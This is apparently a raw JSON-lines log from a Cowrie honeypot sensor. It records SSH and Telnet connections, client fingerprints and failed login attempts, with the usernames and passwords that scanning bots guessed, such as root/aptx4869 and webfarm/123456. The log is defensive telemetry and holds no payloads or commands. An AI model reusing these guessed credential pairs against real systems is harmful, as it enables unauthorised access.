{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":54622,"dst_ip":"159.203.135.109","dst_port":22,"session":"20b81cf1ea9c","protocol":"ssh","message":"New connection: 221.163.5.228:54622 (159.203.135.109:22) [session: 20b81cf1ea9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:34.773074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:34.777383Z","src_ip":"221.163.5.228","session":"20b81cf1ea9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:34.981770Z","src_ip":"221.163.5.228","session":"20b81cf1ea9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aptx4869","message":"login attempt [root/aptx4869] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:35.830591Z","src_ip":"221.163.5.228","session":"20b81cf1ea9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:37.037331Z","src_ip":"221.163.5.228","session":"20b81cf1ea9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.4274263381958,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:39.738405Z","src_ip":"170.64.224.25","session":"92696ae3041c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":40116,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a90a1c39a74","protocol":"telnet","message":"New connection: 167.172.116.158:40116 (159.203.135.109:23) [session: 6a90a1c39a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:50.074096Z"}
{"eventid":"cowrie.session.closed","duration":0.0076596736907958984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:50.081609Z","src_ip":"167.172.116.158","session":"6a90a1c39a74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":51824,"dst_ip":"159.203.135.109","dst_port":23,"session":"aacdfe88283a","protocol":"telnet","message":"New connection: 167.172.116.158:51824 (159.203.135.109:23) [session: aacdfe88283a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:50.147550Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":47408,"dst_ip":"10.17.0.5","dst_port":22,"session":"09080f7d4c17","protocol":"ssh","message":"New connection: 162.241.33.238:47408 (10.17.0.5:22) [session: 09080f7d4c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:55.024770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:55.028081Z","src_ip":"162.241.33.238","session":"09080f7d4c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:55.053302Z","src_ip":"162.241.33.238","session":"09080f7d4c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wintermute2024","message":"login attempt [root/wintermute2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:55.130573Z","src_ip":"162.241.33.238","session":"09080f7d4c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:56.159393Z","src_ip":"162.241.33.238","session":"09080f7d4c17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":36752,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4410edb6ba4","protocol":"ssh","message":"New connection: 103.27.238.114:36752 (159.203.135.109:22) [session: c4410edb6ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:50:00.957833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:50:00.962316Z","src_ip":"103.27.238.114","session":"c4410edb6ba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:50:01.219440Z","src_ip":"103.27.238.114","session":"c4410edb6ba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuioppoiuytrewq","message":"login attempt [root/qwertyuioppoiuytrewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:50:01.995512Z","src_ip":"103.27.238.114","session":"c4410edb6ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:50:03.257967Z","src_ip":"103.27.238.114","session":"c4410edb6ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.951823949813843,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:50:10.099221Z","src_ip":"167.172.116.158","session":"aacdfe88283a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49976,"dst_ip":"159.203.135.109","dst_port":23,"session":"892228ff7372","protocol":"telnet","message":"New connection: 170.64.224.25:49976 (159.203.135.109:23) [session: 892228ff7372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:50:38.428096Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49982,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8f907b3cf1d","protocol":"telnet","message":"New connection: 170.64.224.25:49982 (159.203.135.109:23) [session: a8f907b3cf1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:50:40.730268Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49998,"dst_ip":"159.203.135.109","dst_port":23,"session":"1202fd74cb15","protocol":"telnet","message":"New connection: 170.64.224.25:49998 (159.203.135.109:23) [session: 1202fd74cb15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:50:44.090537Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57354,"dst_ip":"159.203.135.109","dst_port":23,"session":"6db1e814855e","protocol":"telnet","message":"New connection: 170.64.224.25:57354 (159.203.135.109:23) [session: 6db1e814855e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:50:53.570785Z"}
{"eventid":"cowrie.session.closed","duration":16.926016807556152,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:10.496706Z","src_ip":"170.64.224.25","session":"6db1e814855e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":41354,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8259e9f4652","protocol":"ssh","message":"New connection: 191.7.26.153:41354 (159.203.135.109:22) [session: f8259e9f4652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:15.270556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:15.277313Z","src_ip":"191.7.26.153","session":"f8259e9f4652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:15.401739Z","src_ip":"191.7.26.153","session":"f8259e9f4652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webfarm","password":"123456","message":"login attempt [webfarm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:15.943969Z","src_ip":"191.7.26.153","session":"f8259e9f4652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:17.068949Z","src_ip":"191.7.26.153","session":"f8259e9f4652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.17086172103882,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:21.598851Z","src_ip":"170.64.224.25","session":"892228ff7372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":60128,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfd07eb42a10","protocol":"ssh","message":"New connection: 221.163.5.228:60128 (159.203.135.109:22) [session: cfd07eb42a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:23.416962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:23.421531Z","src_ip":"221.163.5.228","session":"cfd07eb42a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:23.620412Z","src_ip":"221.163.5.228","session":"cfd07eb42a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"V123456","message":"login attempt [root/V123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:24.446950Z","src_ip":"221.163.5.228","session":"cfd07eb42a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:25.647916Z","src_ip":"221.163.5.228","session":"cfd07eb42a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.190699100494385,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:27.920851Z","src_ip":"170.64.224.25","session":"a8f907b3cf1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":36494,"dst_ip":"10.17.0.5","dst_port":22,"session":"3608c1675cfa","protocol":"ssh","message":"New connection: 67.231.24.5:36494 (10.17.0.5:22) [session: 3608c1675cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:36.479345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:36.482992Z","src_ip":"67.231.24.5","session":"3608c1675cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:36.500029Z","src_ip":"67.231.24.5","session":"3608c1675cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"l2","password":"l22024","message":"login attempt [l2/l22024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:36.551586Z","src_ip":"67.231.24.5","session":"3608c1675cfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:37.571010Z","src_ip":"67.231.24.5","session":"3608c1675cfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.84563612937927,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:45.936075Z","src_ip":"170.64.224.25","session":"1202fd74cb15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":53950,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c8150de8e4c","protocol":"ssh","message":"New connection: 181.218.9.86:53950 (159.203.135.109:22) [session: 3c8150de8e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:46.788577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:46.792272Z","src_ip":"181.218.9.86","session":"3c8150de8e4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:46.941956Z","src_ip":"181.218.9.86","session":"3c8150de8e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lds","message":"login attempt [root/lds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:47.571536Z","src_ip":"181.218.9.86","session":"3c8150de8e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:48.724494Z","src_ip":"181.218.9.86","session":"3c8150de8e4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40698,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de2cf66ba7c","protocol":"telnet","message":"New connection: 170.64.224.25:40698 (159.203.135.109:23) [session: 6de2cf66ba7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:51:53.515779Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":55452,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6e7a92f49b4","protocol":"ssh","message":"New connection: 143.20.185.207:55452 (10.17.0.5:22) [session: e6e7a92f49b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:07.609424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:07.612839Z","src_ip":"143.20.185.207","session":"e6e7a92f49b4","protocol":"ssh"}
